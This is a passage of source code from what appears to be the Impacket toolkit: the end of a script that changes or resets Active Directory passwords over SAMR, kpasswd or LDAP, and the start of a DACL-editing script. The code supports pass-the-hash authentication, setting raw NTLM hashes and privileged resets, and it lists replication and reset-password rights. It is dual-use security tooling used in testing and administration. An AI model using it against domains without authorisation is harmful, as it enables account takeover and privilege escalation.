False\n\n        logging.info(f\"Password was set successfully for {targetDomain}\\\\{targetUsername}.\")\n        return True\n\n\nclass SamrPassword(PasswordHandler):\n    \"\"\"Use MS-SAMR protocol to change or reset the password of a user\"\"\"\n\n    # our binding with SAMR\n    dce = None\n    anonymous = False\n\n    def rpctransport(self):\n        \"\"\"\n        Return a new transport for our RPC/DCE.\n\n        :return rpc: RPC transport instance\n        \"\"\"\n        raise NotImplementedError\n\n    def authenticate(self, anonymous=False):\n        \"\"\"\n        Instantiate a new transport and try to authenticate\n\n        :param bool anonymous: Attempt a null binding\n        :return dce: DCE/RPC, bound to SAMR\n        \"\"\"\n\n        rpctransport = self.rpctransport()\n\n        if hasattr(rpctransport, \"set_credentials\"):\n            # This method exists only for selected protocol sequences.\n            if anonymous:\n                rpctransport.set_credentials(username=\"\", password=\"\", domain=\"\", lmhash=\"\", nthash=\"\", aesKey=\"\")\n            else:\n                rpctransport.set_credentials(\n                    self.username,\n                    self.password,\n                    self.domain,\n                    self.pwdHashLM,\n                    self.pwdHashNT,\n                    aesKey=self.aesKey,\n                )\n\n        if anonymous:\n            self.anonymous = True\n            rpctransport.set_kerberos(False, None)\n        else:\n            self.anonymous = False\n            rpctransport.set_kerberos(self.doKerberos, self.kdcHost)\n\n        as_user = \"null session\" if anonymous else f\"{self.domain}\\\\{self.username}\"\n        logging.info(f\"Connecting to DCE/RPC as {as_user}\")\n\n        dce = rpctransport.get_dce_rpc()\n        dce.connect()\n\n        dce.bind(samr.MSRPC_UUID_SAMR)\n        logging.debug(\"Successfully bound to SAMR\")\n        return dce\n\n    def connect(self, retry_if_expired=False):\n        \"\"\"\n        Connect to SAMR using our transport protocol.\n\n        This method must instantiate self.dce\n\n        :param bool retry_if_expired: Retry as null binding if our password is expired\n        :return bool: success\n        \"\"\"\n\n        if self.dce:\n            # Already connected\n            return True\n\n        try:\n            self.dce = self.authenticate(anonymous=False)\n\n        except Exception as e:\n            if any(msg in str(e) for msg in (\"STATUS_PASSWORD_MUST_CHANGE\", \"STATUS_PASSWORD_EXPIRED\")):\n                if retry_if_expired:\n                    logging.warning(\"Password is expired or must be changed, trying to bind with a null session.\")\n                    self.dce = self.authenticate(anonymous=True)\n                else:\n                    logging.critical(\n                        \"Cannot set new NTLM hashes when current password is expired. Provide a plaintext value for the \"\n                        \"new password.\"\n                    )\n                    logging.debug(str(e))\n                    return False\n            elif \"STATUS_LOGON_FAILURE\" in str(e):\n                logging.critical(\"Authentication failure when connecting to RPC: wrong credentials?\")\n                logging.debug(str(e))\n                return False\n            elif \"STATUS_ACCOUNT_RESTRICTION\" in str(e):\n                logging.critical(\n                    \"Account restriction: username and credentials are valid, but some other restriction prevents\"\n                    \"authentication, like 'Protected Users' group or time-of-day restriction\"\n                )\n                logging.debug(str(e))\n                return False\n            elif \"STATUS_ACCOUNT_DISABLED\" in str(e):\n                logging.critical(\"The account is currently disabled.\")\n                logging.debug(str(e))\n                return False\n            else:\n                raise e\n\n        return True\n\n    def hSamrOpenUser(self, username):\n        \"\"\"Open an handle on the target user\"\"\"\n        try:\n            serverHandle = samr.hSamrConnect(self.dce, self.address + \"\\x00\")[\"ServerHandle\"]\n            domainSID = samr.hSamrLookupDomainInSamServer(self.dce, serverHandle, self.domain)[\"DomainId\"]\n            domainHandle = samr.hSamrOpenDomain(self.dce, serverHandle, domainId=domainSID)[\"DomainHandle\"]\n            userRID = samr.hSamrLookupNamesInDomain(self.dce, domainHandle, (username,))[\"RelativeIds\"][\"Element\"][0]\n            userHandle = samr.hSamrOpenUser(self.dce, domainHandle, userId=userRID)[\"UserHandle\"]\n        except Exception as e:\n            if \"STATUS_NO_SUCH_DOMAIN\" in str(e):\n                logging.critical(\n                    \"Wrong realm. Try to set the domain name for the target user account explicitly in format \"\n                    \"DOMAIN/username.\"\n                )\n                logging.debug(str(e))\n                return False\n            elif self.anonymous and \"STATUS_ACCESS_DENIED\" in str(e):\n                logging.critical(\n                    \"Our anonymous session cannot get a handle to the target user. \"\n                    \"Retry with a user whose password is not expired.\"\n                )\n                logging.debug(str(e))\n                return False\n            elif \"STATUS_ACCESS_DENIED\" in str(e):\n                logging.critical(\"Access denied\")\n                logging.debug(str(e))\n                return False\n            else:\n                raise e\n\n        return userHandle\n\n    def _SamrWrapper(self, samrProcedure, *args, _change=True, **kwargs):\n        \"\"\"\n        Handles common errors when changing/resetting the password, regardless of the procedure\n\n        :param callable samrProcedure: Function that will send the SAMR call\n                                args and kwargs are passed verbatim\n        :param bool _change:    Used for more precise error reporting,\n                                True if it is a password change, False if it is a reset\n        \"\"\"\n        logging.debug(f\"Sending SAMR call {samrProcedure.__name__}\")\n        try:\n            resp = samrProcedure(self.dce, *args, **kwargs)\n        except Exception as e:\n            if \"STATUS_PASSWORD_RESTRICTION\" in str(e):\n                logging.critical(\n                    \"Some password update rule has been violated. For example, the password history policy may prohibit the \"\n                    \"use of recent passwords or the password may not meet length criteria.\"\n                )\n                logging.debug(str(e))\n                return False\n            elif \"STATUS_ACCESS_DENIED\" in str(e):\n                if _change:\n                    logging.critical(\"Target user is not allowed to change their own password\")\n                else:\n                    logging.critical(f\"{self.domain}\\\\{self.username} user is not allowed to set the password of the target\")\n                logging.debug(str(e))\n                return False\n            else:\n                raise e\n\n        if resp[\"ErrorCode\"] == 0:\n            logging.info(\"Password was changed successfully.\")\n            return True\n\n        logging.error(\"Non-zero return code, something weird happened.\")\n        resp.dump()\n        return False\n\n    def hSamrUnicodeChangePasswordUser2(\n        self, username, oldPassword, newPassword, oldPwdHashLM, oldPwdHashNT, newPwdHashLM, newPwdHashNT\n    ):\n        return self._SamrWrapper(\n            samr.hSamrUnicodeChangePasswordUser2,\n            \"\\x00\",\n            username,\n            oldPassword,\n            newPassword,\n            oldPwdHashLM,\n            oldPwdHashNT,\n            _change=True,\n        )\n\n    def hSamrChangePasswordUser(\n        self, username, oldPassword, newPassword, oldPwdHashLM, oldPwdHashNT, newPwdHashLM, newPwdHashNT\n    ):\n        userHandle = self.hSamrOpenUser(username)\n        if not userHandle:\n            return False\n\n        return self._SamrWrapper(\n            samr.hSamrChangePasswordUser,\n            userHandle,\n            oldPassword=oldPassword,\n            newPassword=newPassword,\n            oldPwdHashNT=oldPwdHashNT,\n            newPwdHashLM=newPwdHashLM,\n            newPwdHashNT=newPwdHashNT,\n            _change=True,\n        )\n\n    def hSamrSetInformationUser(self, username, newPassword, newPwdHashLM, newPwdHashNT):\n        userHandle = self.hSamrOpenUser(username)\n        if not userHandle:\n            return False\n\n        return self._SamrWrapper(samr.hSamrSetNTInternal1, userHandle, newPassword, newPwdHashNT, _change=False)\n\n    def _changePassword(\n        self, targetUsername, targetDomain, oldPassword, newPassword, oldPwdHashLM, oldPwdHashNT, newPwdHashLM, newPwdHashNT\n    ):\n        if not self.connect(retry_if_expired=True):\n            return False\n\n        if newPassword:\n            # If using a plaintext value for the new password\n            return self.hSamrUnicodeChangePasswordUser2(\n                targetUsername, oldPassword, newPassword, oldPwdHashLM, oldPwdHashNT, \"\", \"\"\n            )\n        else:\n            # If using NTLM hashes for the new password\n            res = self.hSamrChangePasswordUser(\n                targetUsername, oldPassword, \"\", oldPwdHashLM, oldPwdHashNT, newPwdHashLM, newPwdHashNT\n            )\n            if res:\n                logging.warning(\"User might need to change their password at next logon because we set hashes (unless password never expires is set).\")\n            return res\n\n    def _setPassword(self, targetUsername, targetDomain, newPassword, newPwdHashLM, newPwdHashNT):\n        if not self.connect(retry_if_expired=False):\n            return False\n\n        # If resetting the password with admin privileges\n        res = self.hSamrSetInformationUser(targetUsername, newPassword, newPwdHashLM, newPwdHashNT)\n        if res:\n            logging.warning(\"User no longer has valid AES keys for Kerberos, until they change their password again.\")\n        return res\n\n\nclass RpcPassword(SamrPassword):\n    def rpctransport(self):\n        stringBinding = epm.hept_map(self.address, samr.MSRPC_UUID_SAMR, protocol=\"ncacn_ip_tcp\")\n        rpctransport = transport.DCERPCTransportFactory(stringBinding)\n        rpctransport.setRemoteHost(self.address)\n        return rpctransport\n\n    def _changePassword(\n        self, targetUsername, targetDomain, oldPassword, newPassword, oldPwdHashLM, oldPwdHashNT, newPwdHashLM, newPwdHashNT\n    ):\n        if not newPassword:\n            logging.warning(\n                \"MS-RPC transport requires new password in plaintext in default Active Directory configuration. Trying anyway.\"\n            )\n        return super()._changePassword(\n            targetUsername, targetDomain, oldPassword, newPassword, oldPwdHashLM, oldPwdHashNT, newPwdHashLM, newPwdHashNT\n        )\n\n    def _setPassword(self, targetUsername, targetDomain, newPassword, newPwdHashLM, newPwdHashNT):\n        logging.warning(\n            \"MS-RPC transport does not allow password reset in default Active Directory configuration. Trying anyway.\"\n        )\n        return super()._setPassword(targetUsername, targetDomain, newPassword, newPwdHashLM, newPwdHashNT)\n\n\nclass SmbPassword(SamrPassword):\n    def rpctransport(self):\n        return transport.SMBTransport(self.address, filename=r\"\\samr\")\n\n\nclass LdapPassword(PasswordHandler):\n    \"\"\"Use LDAP to change or reset a user's password\"\"\"\n\n    ldapConnection = None\n    baseDN = None\n\n    def connect(self, targetDomain):\n        \"\"\"Connect to LDAPS with the credentials provided in __init__\"\"\"\n\n        if self.ldapConnection:\n            return True\n\n        ldapURI = \"ldaps://\" + self.address\n        self.baseDN = \"DC=\" + \",DC=\".join(targetDomain.split(\".\"))\n\n        logging.debug(f\"Connecting to {ldapURI} as {self.domain}\\\\{self.username}\")\n        try:\n            ldapConnection = ldap.LDAPConnection(ldapURI, self.baseDN, self.address)\n            if not self.doKerberos:\n                ldapConnection.login(self.username, self.password, self.domain, self.pwdHashLM, self.pwdHashNT)\n            else:\n                ldapConnection.kerberosLogin(\n                    self.username,\n                    self.password,\n                    self.domain,\n                    self.pwdHashLM,\n                    self.pwdHashNT,\n                    self.aesKey,\n                    kdcHost=self.kdcHost,\n                )\n        except (ldap.LDAPSessionError, OpenSSL.SSL.SysCallError) as e:\n            logging.error(f\"Cannot connect to {ldapURI} as {self.domain}\\\\{self.username}: {e}\")\n            return False\n\n        self.ldapConnection = ldapConnection\n        return True\n\n    def encodeLdapPassword(self, password):\n        \"\"\"\n        Encode the password according to Microsoft's specifications\n\n        Password must be surrounded by quotes and UTF-16 encoded\n        \"\"\"\n        return f'\"{password}\"'.encode(\"utf-16-le\")\n\n    def findTargetDN(self, targetUsername, targetDomain):\n        \"\"\"Find the DN of the targeted user\"\"\"\n\n        answers = self.ldapConnection.search(\n            searchFilter=f\"(sAMAccountName={targetUsername})\",\n            searchBase=self.baseDN,\n            attributes=(\"distinguishedName\",),\n        )\n\n        # return the DN of the first item\n        for item in answers:\n            if not isinstance(item, ldapasn1.SearchResultEntry):\n                # skipping references to other partitions\n                continue\n\n            return str(item[\"objectName\"])\n\n    def _modifyPassword(self, change, targetUsername, targetDomain, oldPasswordEncoded, newPasswordEncoded):\n        if not self.connect(targetDomain):\n            return False\n\n        targetDN = self.findTargetDN(targetUsername, targetDomain)\n        if not targetDN:\n            logging.critical(\"Could not find the target user in LDAP\")\n            return False\n\n        logging.debug(f\"Found target distinguishedName: {targetDN}\")\n\n        # Build our Modify request\n        request = ldapasn1.ModifyRequest()\n        request[\"object\"] = targetDN\n\n        if change:\n            request[\"changes\"][0][\"operation\"] = ldapasn1.Operation(\"delete\")\n            request[\"changes\"][0][\"modification\"][\"type\"] = \"unicodePwd\"\n            request[\"changes\"][0][\"modification\"][\"vals\"][0] = oldPasswordEncoded\n            request[\"changes\"][1][\"operation\"] = ldapasn1.Operation(\"add\")\n            request[\"changes\"][1][\"modification\"][\"type\"] = \"unicodePwd\"\n            request[\"changes\"][1][\"modification\"][\"vals\"][0] = newPasswordEncoded\n        else:\n            request[\"changes\"][0][\"operation\"] = ldapasn1.Operation(\"replace\")\n            request[\"changes\"][0][\"modification\"][\"type\"] = \"unicodePwd\"\n            request[\"changes\"][0][\"modification\"][\"vals\"][0] = newPasswordEncoded\n\n        logging.debug(f\"Sending: {str(request)}\")\n\n        response = self.ldapConnection.sendReceive(request)[0]\n\n        logging.debug(f\"Receiving: {str(response)}\")\n\n        resultCode = int(response[\"protocolOp\"][\"modifyResponse\"][\"resultCode\"])\n        result = str(ldapasn1.ResultCode(resultCode))\n        diagMessage = str(response[\"protocolOp\"][\"modifyResponse\"][\"diagnosticMessage\"])\n\n        if result == \"success\":\n            logging.info(f\"Password was changed successfully for {targetDN}\")\n            return True\n\n        if result == \"constraintViolation\":\n            logging.error(\n                f\"Could not change the password of {targetDN}, possibly due to the password \"\n                \"policy or an invalid oldPassword.\"\n            )\n        elif result == \"insufficientAccessRights\":\n            logging.error(f\"Could not set the password of {targetDN}, {self.domain}\\\\{self.username} has insufficient rights\")\n        else:\n            logging.error(f\"Could not change the password of {targetDN}. {result}: {diagMessage}\")\n\n        return False\n\n    def _changePassword(\n        self, targetUsername, targetDomain, oldPassword, newPassword, oldPwdHashLM, oldPwdHashNT, newPwdHashLM, newPwdHashNT\n    ):\n        \"\"\"\n        Change the password of a user.\n\n        Must send a delete operation with the oldPassword and an add\n        operation with the newPassword in the same modify request.\n        \"\"\"\n\n        if not oldPassword or not newPassword:\n            logging.critical(\"LDAP requires the old and new passwords in plaintext\")\n            return False\n\n        oldPasswordEncoded = self.encodeLdapPassword(oldPassword)\n        newPasswordEncoded = self.encodeLdapPassword(newPassword)\n        return self._modifyPassword(True, targetUsername, targetDomain, oldPasswordEncoded, newPasswordEncoded)\n\n    def _setPassword(self, targetUsername, targetDomain, newPassword, newPwdHashLM, newPwdHashNT):\n        \"\"\"\n        Set the password of a user.\n\n        Must send a modify operation with the newPassword (must have privileges).\n        \"\"\"\n\n        if not newPassword:\n            logging.critical(\"LDAP requires the new password in plaintext\")\n            return False\n\n        newPasswordEncoded = self.encodeLdapPassword(newPassword)\n        return self._modifyPassword(False, targetUsername, targetDomain, None, newPasswordEncoded)\n\ndef parse_args():\n    parser = argparse.ArgumentParser(\n        description=\"Change or reset passwords over different protocols.\",\n    )\n\n    parser.add_argument(\"target\", action=\"store\", help=\"[[domain/]username[:password]@]<hostname or address>\")\n    parser.add_argument(\"-ts\", action=\"store_true\", help=\"adds timestamp to every logging output\")\n    parser.add_argument(\"-debug\", action=\"store_true\", help=\"turn DEBUG output ON\")\n\n    group = parser.add_argument_group(\"New credentials for target\")\n    exgroup = group.add_mutually_exclusive_group()\n    exgroup.add_argument(\"-newpass\", action=\"store\", default=None, help=\"new password\")\n    exgroup.add_argument(\n        \"-newhashes\",\n        action=\"store\",\n        default=None,\n        metavar=\"LMHASH:NTHASH\",\n        help=\"new NTLM hashes, format is NTHASH or LMHASH:NTHASH\",\n    )\n\n    group = parser.add_argument_group(\"Authentication (target user whose password is changed)\")\n    group.add_argument(\n        \"-hashes\", action=\"store\", default=None, metavar=\"LMHASH:NTHASH\", help=\"NTLM hashes, format is NTHASH or LMHASH:NTHASH\"\n    )\n    group.add_argument(\"-no-pass\", action=\"store_true\", help=\"Don't ask for password (useful for Kerberos, -k)\")\n\n    group = parser.add_argument_group(\"Authentication (optional, privileged user performing the change)\")\n    group.add_argument(\"-altuser\", action=\"store\", default=None, help=\"Alternative username\")\n    exgroup = group.add_mutually_exclusive_group()\n    exgroup.add_argument(\"-altpass\", action=\"store\", default=None, help=\"Alternative password\")\n    exgroup.add_argument(\n        \"-althash\", \"-althashes\", action=\"store\", default=None, help=\"Alternative NT hash, format is NTHASH or LMHASH:NTHASH\"\n    )\n\n    group = parser.add_argument_group(\"Method of operations\")\n    group.add_argument(\n        \"-protocol\",\n        \"-p\",\n        action=\"store\",\n        help=\"Protocol to use for password change/reset\",\n        default=\"smb-samr\",\n        choices=(\n            \"smb-samr\",\n            \"rpc-samr\",\n            \"kpasswd\",\n            \"ldap\",\n        ),\n    )\n    group.add_argument(\n        \"-reset\",\n        \"-admin\",\n        action=\"store_true\",\n        help=\"Try to reset the password with privileges (may bypass some password policies)\",\n    )\n\n    group = parser.add_argument_group(\n        \"Kerberos authentication\", description=\"Applicable to the authenticating user (-altuser if defined, else target)\"\n    )\n    group.add_argument(\n        \"-k\",\n        action=\"store_true\",\n        help=(\n            \"Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. \"\n            \"If valid credentials cannot be found, it will use the ones specified in the command line\"\n        ),\n    )\n    group.add_argument(\n        \"-aesKey\", action=\"store\", metavar=\"hex key\", help=\"AES key to use for Kerberos Authentication (128 or 256 bits)\"\n    )\n    group.add_argument(\n        \"-dc-ip\",\n        action=\"store\",\n        metavar=\"ip address\",\n        help=(\n            \"IP Address of the domain controller, for Kerberos. If omitted it will use the domain part (FQDN) specified \"\n            \"in the target parameter\"\n        ),\n    )\n\n    if len(sys.argv) == 1:\n        parser.print_help()\n        sys.exit(1)\n\n    return parser.parse_args()\n\n\nif __name__ == \"__main__\":\n    print(version.BANNER)\n\n    options = parse_args()\n    logger.init(options.ts, options.debug)\n\n    handlers = {\n        \"kpasswd\": KPassword,\n        \"rpc-samr\": RpcPassword,\n        \"smb-samr\": SmbPassword,\n        \"ldap\": LdapPassword,\n    }\n\n    try:\n        PasswordProtocol = handlers[options.protocol]\n    except KeyError:\n        logging.critical(f\"Unsupported password protocol {options.protocol}\")\n        sys.exit(1)\n\n    # Parse account whose password is changed\n    targetDomain, targetUsername, oldPassword, address = parse_target(options.target)\n\n    if not targetDomain:\n        if options.protocol in (\"rpc-samr\", \"smb-samr\"):\n            targetDomain = \"Builtin\"\n        else:\n            targetDomain = address\n\n    if options.hashes is not None:\n        try:\n            oldPwdHashLM, oldPwdHashNT = options.hashes.split(\":\")\n        except ValueError:\n            oldPwdHashLM = EMPTY_LM_HASH\n            oldPwdHashNT = options.hashes\n    else:\n        oldPwdHashLM = \"\"\n        oldPwdHashNT = \"\"\n\n    if oldPassword == \"\" and oldPwdHashNT == \"\":\n        if options.reset:\n            pass  # no need for old one when we reset\n        elif options.no_pass:\n            logging.info(\"Current password not given: will use KRB5CCNAME\")\n        else:\n            try:\n                oldPassword = getpass(\"Current password: \")\n            except KeyboardInterrupt:\n                print()\n                logging.warning(\"Cancelled\")\n                sys.exit(130)\n\n    if options.newhashes is not None:\n        newPassword = \"\"\n        try:\n            newPwdHashLM, newPwdHashNT = options.newhashes.split(\":\")\n            if not newPwdHashLM:\n                newPwdHashLM = EMPTY_LM_HASH\n        except ValueError:\n            newPwdHashLM = EMPTY_LM_HASH\n            newPwdHashNT = options.newhashes\n    else:\n        newPwdHashLM = \"\"\n        newPwdHashNT = \"\"\n        if options.newpass is None:\n            try:\n                newPassword = getpass(\"New password: \")\n                if newPassword != getpass(\"Retype new password: \"):\n                    logging.critical(\"Passwords do not match, try again.\")\n                    sys.exit(1)\n            except KeyboardInterrupt:\n                print()\n                logging.warning(\"Cancelled\")\n                sys.exit(130)\n        else:\n            newPassword = options.newpass\n\n    # Parse account of password changer\n    if options.altuser is not None:\n        try:\n            authDomain, authUsername = options.altuser.split(\"/\")\n        except ValueError:\n            authDomain = targetDomain\n            authUsername = options.altuser\n\n        if options.althash is not None:\n            try:\n                authPwdHashLM, authPwdHashNT = options.althash.split(\":\")\n            except ValueError:\n                authPwdHashLM = \"\"\n                authPwdHashNT = options.althash\n        else:\n            authPwdHashLM = \"\"\n            authPwdHashNT = \"\"\n\n        authPassword = \"\"\n        if options.altpass is not None:\n            authPassword = options.altpass\n\n        if options.altpass is None and options.althash is None and not options.no_pass:\n            logging.critical(\n                \"Please, provide either alternative password (-altpass) or NT hash (-althash) for authentication, \"\n                \"or specify -no-pass if you rely on Kerberos only\"\n            )\n            sys.exit(1)\n    else:\n        authDomain = targetDomain\n        authUsername = targetUsername\n        authPassword = oldPassword\n        authPwdHashLM = oldPwdHashLM\n        authPwdHashNT = oldPwdHashNT\n\n    doKerberos = options.k\n    if options.protocol == \"kpasswd\" and not doKerberos:\n        logging.debug(\"Using the KPassword protocol implies Kerberos authentication (-k)\")\n        doKerberos = True\n\n    # Create a password management session\n    handler = PasswordProtocol(\n        address,\n        authDomain,\n        authUsername,\n        authPassword,\n        authPwdHashLM,\n        authPwdHashNT,\n        doKerberos,\n        options.aesKey,\n        kdcHost=options.dc_ip,\n    )\n\n    # Attempt the password change/reset\n    if options.reset:\n        ret = handler.setPassword(targetUsername, targetDomain, newPassword, newPwdHashLM, newPwdHashNT)\n    else:\n        if (authDomain, authUsername) != (targetDomain, targetUsername):\n            logging.warning(\n                f\"Attempting to *change* the password of {targetDomain}/{targetUsername} as {authDomain}/{authUsername}. \"\n                \"You may want to use '-reset' to *reset* the password of the target.\"\n            )\n\n        ret = handler.changePassword(\n            targetUsername, targetDomain, oldPassword, newPassword, oldPwdHashLM, oldPwdHashNT, newPwdHashLM, newPwdHashNT\n        )\n\n    if ret:\n        sys.exit(0)\n    else:\n        sys.exit(1)\n"
  },
  {
    "path": "examples/dacledit.py",
    "content": "#!/usr/bin/env python3\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   Python script to read and manage the Discretionary Access Control List of an object\n#\n# Authors:\n#   Charlie BROMBERG (@_nwodtuhs)\n#   Guillaume DAUMAS (@BlWasp_)\n#   Lucien DOUSTALY (@Wlayzz)\n#\n\nimport argparse\nimport binascii\nimport codecs\nimport json\nimport logging\nimport os\nimport sys\nimport traceback\nimport datetime\n\nimport ldap3\nimport ldapdomaindump\nfrom enum import Enum\nfrom ldap3.protocol.formatters.formatters import format_sid\n\nfrom impacket import version\nfrom impacket.examples import logger, utils\nfrom impacket.ldap import ldaptypes\nfrom impacket.msada_guids import SCHEMA_OBJECTS, EXTENDED_RIGHTS\nfrom ldap3.utils.conv import escape_filter_chars\nfrom ldap3.protocol.microsoft import security_descriptor_control\nfrom impacket.uuid import string_to_bin, bin_to_string\n\nfrom impacket.examples.utils import init_ldap_session, parse_identity\n\nOBJECT_TYPES_GUID = {}\nOBJECT_TYPES_GUID.update(SCHEMA_OBJECTS)\nOBJECT_TYPES_GUID.update(EXTENDED_RIGHTS)\n\n# Universal SIDs\nWELL_KNOWN_SIDS = {\n    'S-1-0': 'Null Authority',\n    'S-1-0-0': 'Nobody',\n    'S-1-1': 'World Authority',\n    'S-1-1-0': 'Everyone',\n    'S-1-2': 'Local Authority',\n    'S-1-2-0': 'Local',\n    'S-1-2-1': 'Console Logon',\n    'S-1-3': 'Creator Authority',\n    'S-1-3-0': 'Creator Owner',\n    'S-1-3-1': 'Creator Group',\n    'S-1-3-2': 'Creator Owner Server',\n    'S-1-3-3': 'Creator Group Server',\n    'S-1-3-4': 'Owner Rights',\n    'S-1-5-80-0': 'All Services',\n    'S-1-4': 'Non-unique Authority',\n    'S-1-5': 'NT Authority',\n    'S-1-5-1': 'Dialup',\n    'S-1-5-2': 'Network',\n    'S-1-5-3': 'Batch',\n    'S-1-5-4': 'Interactive',\n    'S-1-5-6': 'Service',\n    'S-1-5-7': 'Anonymous',\n    'S-1-5-8': 'Proxy',\n    'S-1-5-9': 'Enterprise Domain Controllers',\n    'S-1-5-10': 'Principal Self',\n    'S-1-5-11': 'Authenticated Users',\n    'S-1-5-12': 'Restricted Code',\n    'S-1-5-13': 'Terminal Server Users',\n    'S-1-5-14': 'Remote Interactive Logon',\n    'S-1-5-15': 'This Organization',\n    'S-1-5-17': 'This Organization',\n    'S-1-5-18': 'Local System',\n    'S-1-5-19': 'NT Authority',\n    'S-1-5-20': 'NT Authority',\n    'S-1-5-32-544': 'Administrators',\n    'S-1-5-32-545': 'Users',\n    'S-1-5-32-546': 'Guests',\n    'S-1-5-32-547': 'Power Users',\n    'S-1-5-32-548': 'Account Operators',\n    'S-1-5-32-549': 'Server Operators',\n    'S-1-5-32-550': 'Print Operators',\n    'S-1-5-32-551': 'Backup Operators',\n    'S-1-5-32-552': 'Replicators',\n    'S-1-5-64-10': 'NTLM Authentication',\n    'S-1-5-64-14': 'SChannel Authentication',\n    'S-1-5-64-21': 'Digest Authority',\n    'S-1-5-80': 'NT Service',\n    'S-1-5-83-0': 'NT VIRTUAL MACHINE\\\\Virtual Machines',\n    'S-1-16-0': 'Untrusted Mandatory Level',\n    'S-1-16-4096': 'Low Mandatory Level',\n    'S-1-16-8192': 'Medium Mandatory Level',\n    'S-1-16-8448': 'Medium Plus Mandatory Level',\n    'S-1-16-12288': 'High Mandatory Level',\n    'S-1-16-16384': 'System Mandatory Level',\n    'S-1-16-20480': 'Protected Process Mandatory Level',\n    'S-1-16-28672': 'Secure Process Mandatory Level',\n    'S-1-5-32-554': 'BUILTIN\\\\Pre-Windows 2000 Compatible Access',\n    'S-1-5-32-555': 'BUILTIN\\\\Remote Desktop Users',\n    'S-1-5-32-557': 'BUILTIN\\\\Incoming Forest Trust Builders',\n    'S-1-5-32-556': 'BUILTIN\\\\Network Configuration Operators',\n    'S-1-5-32-558': 'BUILTIN\\\\Performance Monitor Users',\n    'S-1-5-32-559': 'BUILTIN\\\\Performance Log Users',\n    'S-1-5-32-560': 'BUILTIN\\\\Windows Authorization Access Group',\n    'S-1-5-32-561': 'BUILTIN\\\\Terminal Server License Servers',\n    'S-1-5-32-562': 'BUILTIN\\\\Distributed COM Users',\n    'S-1-5-32-569': 'BUILTIN\\\\Cryptographic Operators',\n    'S-1-5-32-573': 'BUILTIN\\\\Event Log Readers',\n    'S-1-5-32-574': 'BUILTIN\\\\Certificate Service DCOM Access',\n    'S-1-5-32-575': 'BUILTIN\\\\RDS Remote Access Servers',\n    'S-1-5-32-576': 'BUILTIN\\\\RDS Endpoint Servers',\n    'S-1-5-32-577': 'BUILTIN\\\\RDS Management Servers',\n    'S-1-5-32-578': 'BUILTIN\\\\Hyper-V Administrators',\n    'S-1-5-32-579': 'BUILTIN\\\\Access Control Assistance Operators',\n    'S-1-5-32-580': 'BUILTIN\\\\Remote Management Users',\n}\n\n\n# GUID rights enum\n# GUID thats permits to identify extended rights in an ACE\n# https://docs.microsoft.com/en-us/windows/win32/adschema/a-rightsguid\nclass RIGHTS_GUID(Enum):\n    WriteMembers = \"bf9679c0-0de6-11d0-a285-00aa003049e2\"\n    ResetPassword = \"00299570-246d-11d0-a768-00aa006e0529\"\n    DS_Replication_Get_Changes = \"1131f6aa-9c07-11d1-f79f-00c04fc2dcd2\"\n    DS_Replication_Get_Changes_All = \"1131f6ad-9c07-11d1-f79f-00c04fc2dcd2\"\n\n\n# ACE flags enum\n# New ACE at the end of SACL for inheritance and access return system-audit\n# https://docs.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-addauditaccessobjectace\nclass ACE_FLAGS(Enum):\n    CONTAINER_INHERIT_ACE = ldaptypes.ACE.CONTAINER_INHERIT_ACE\n    FAILED_ACCESS_ACE_FLAG = ldaptypes.ACE.FAILED_ACCESS_ACE_FLAG\n    INHERIT_ONLY_ACE = ldaptypes.ACE.INHERIT_ONLY_ACE\n    INHERITED_ACE = ldaptypes.ACE.INHERITED_ACE\n    NO_PROPAGATE_INHERIT_ACE = ldaptypes.ACE.NO_PROPAGATE_INHERIT_ACE\n    OBJECT_INHERIT_ACE = ldaptypes.ACE.OBJECT_INHERIT_ACE\n    SUCCESSFUL_ACCESS_ACE_FLAG = ldaptypes.ACE.SUCCESSFUL_ACCESS_ACE_FLAG\n\n\n# ACE flags enum\n# For an ACE, flags that indicate if the ObjectType and the InheritedObjecType are set with a GUID\n# Since these two flags are the same for Allowed and Denied access, the same class will be used from 'ldaptypes'\n# https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-access_allowed_object_ace\nclass OBJECT_ACE_FLAGS(Enum):\n    ACE_OBJECT_TYPE_PRESENT = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT\n    ACE_INHERITED_OBJECT_TYPE_PRESENT = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_INHERITED_OBJECT_TYPE_PRESENT\n\n\n# Access Mask enum\n# Access mask permits to encode principal's rights to an object. This is the rights the principal behind the specified SID has\n# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/7a53f60e-e730-4dfe-bbe9-b21b62eb790b\n# https://docs.microsoft.com/en-us/windows/win32/api/iads/ne-iads-ads_rights_enum?redirectedfrom=MSDN\nclass ACCESS_MASK(Enum):\n    # Generic Rights\n    GenericRead = 0x80000000 # ADS_RIGHT_GENERIC_READ\n    GenericWrite = 0x40000000 # ADS_RIGHT_GENERIC_WRITE\n    GenericExecute = 0x20000000 # ADS_RIGHT_GENERIC_EXECUTE\n    GenericAll = 0x10000000 # ADS_RIGHT_GENERIC_ALL\n\n    # Maximum Allowed access type\n    MaximumAllowed = 0x02000000\n\n    # Access System Acl access type\n    AccessSystemSecurity = 0x01000000 # ADS_RIGHT_ACCESS_SYSTEM_SECURITY\n\n    # Standard access types\n    Synchronize = 0x00100000 # ADS_RIGHT_SYNCHRONIZE\n    WriteOwner = 0x00080000 # ADS_RIGHT_WRITE_OWNER\n    WriteDACL = 0x00040000 # ADS_RIGHT_WRITE_DAC\n    ReadControl = 0x00020000 # ADS_RIGHT_READ_CONTROL\n    Delete = 0x00010000 # ADS_RIGHT_DELETE\n\n    # Specific rights\n    AllExtendedRights = 0x00000100 # ADS_RIGHT_DS_CONTROL_ACCESS\n    ListObject = 0x00000080 # ADS_RIGHT_DS_LIST_OBJECT\n    DeleteTree = 0x00000040 # ADS_RIGHT_DS_DELETE_TREE\n    WriteProperties = 0x00000020 # ADS_RIGHT_DS_WRITE_PROP\n    ReadProperties = 0x00000010 # ADS_RIGHT_DS_READ_PROP\n    Self = 0x00000008 # ADS_RIGHT_DS_SELF\n    ListChildObjects = 0x00000004 # 